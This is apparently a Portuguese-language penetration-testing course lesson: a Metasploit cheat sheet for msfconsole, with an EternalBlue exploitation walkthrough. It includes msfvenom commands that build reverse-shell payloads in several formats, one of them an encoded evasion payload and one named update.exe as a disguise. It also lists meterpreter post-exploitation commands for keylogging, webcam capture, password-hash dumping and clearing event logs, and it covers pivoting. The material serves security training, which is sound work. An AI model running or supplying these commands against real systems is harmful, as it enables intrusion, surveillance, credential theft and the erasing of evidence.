Metasploit Framework
Aula 3 de 7
Metasploit Framework
msfconsole
# Iniciar console Metasploit
msfconsole
msfconsole -q # Modo quiet (sem banner)
Comandos Essenciais (dentro do msfconsole)
help # Ajuda completa
search [termo] # Buscar módulo
use [caminho] # Usar módulo
show options # Mostrar opções
show payloads # Mostrar payloads disponíveis
show targets # Mostrar alvos compatíveis
set [OPÇÃO] [valor] # Configurar opção
setg [OPÇÃO] [valor] # Configurar globalmente
unset [OPÇÃO] # Remover opção
run / exploit # Executar exploit
check # Verificar se alvo é vulnerável
back # Voltar ao menu principal
sessions -l # Listar sessões ativas
sessions -i [ID] # Interagir com sessão
info # Detalhes do módulo atual
Exemplo Prático
# Buscar exploit para MS17-010 (EternalBlue)
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > exploit
Payloads
# Listar payloads para um exploit
msf6 > show payloads
# Payloads comuns
windows/meterpreter/reverse_tcp # Windows reverse meterpreter
linux/x64/meterpreter/reverse_tcp # Linux reverse meterpreter
php/meterpreter/reverse_tcp # PHP reverse
python/meterpreter/reverse_tcp # Python reverse
java/meterpreter/reverse_tcp # Java reverse
# Tipos de payload
# Reverse shell: alvo conecta ao atacante (LHOST:LPORT)
# Bind shell: alvo abre porta, atacante conecta
# Stageless: payload completo em um único estágio
# Staged: payload pequeno + download do estágio maior
msfvenom (geração de payloads)
# Gerar payloads fora do msfconsole
# Windows reverse shell (stageless)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o payload.exe
# Meterpreter reverse staged
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
# Linux reverse
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf
# PHP reverse
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php
# Python reverse
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -o shell.py
# Web payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f asp -o shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.jsp
# Encoder (evasão)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
Meterpreter
# Comandos dentro de sessão meterpreter
help # Listar comandos
sysinfo # Info do sistema
getuid # Usuário atual
getsystem # Tentar elevação de privilégio
ps # Listar processos
migrate [PID] # Migrar para outro processo
shell # Shell do sistema
download [origem] [destino] # Baixar arquivo
upload [origem] [destino] # Subir arquivo
screenshot # Print da tela
keyscan_start # Iniciar keylogger
keyscan_dump # Obter teclas pressionadas
webcam_snap # Foto da webcam
hashdump # Extrair hashes de senha (Windows)
clearev # Limpar logs do evento
background # Background da sessão
Resource Scripts
# Automatizar execução
# Criar arquivo .rc com comandos msfconsole
# Conteúdo do arquivo auto_exploit.rc:
# use exploit/multi/handler
# set PAYLOAD windows/meterpreter/reverse_tcp
# set LHOST 192.168.1.10
# set LPORT 4444
# exploit -j
# Executar script
msfconsole -r auto_exploit.rc
Pivoting
Após comprometer um host, use-o como pivô para acessar redes internas:
# No meterpreter, adicionar rota
run autoroute -s 10.0.0.0/24
# Port forwarding
portfwd add -L 0.0.0.0 -l 8080 -p 80 -r 10.0.0.2
# Scan via pivô (inside meterpreter)
run auxiliary/scanner/portscan/tcp RHOSTS=10.0.0.0/24 PORTS=445
Auxiliary Modules
# Módulos auxiliares (scan, discovery, fuzzing)
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use auxiliary/scanner/http/http_version
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 > use auxiliary/scanner/mssql/mssql_ping
# SMB enumeration
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 > use auxiliary/scanner/smb/smb_login
Lab: Exploração Completa
# 1. Configurar handler (modo listen)
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"
# 2. Buscar exploits por CVE
msf6 > search cve:2021 type:exploit
# 3. Gerar payload com msfvenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o /tmp/update.exe
# 4. Executar módulo auxiliar para descobrir serviços
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
msf6 > set THREADS 20
msf6 > run
Metasploit é o canivete suíço da exploração. Domine msfvenom para payloads, meterpreter para pós-exploração e resource scripts para automação. Use módulos auxiliares antes de explorar.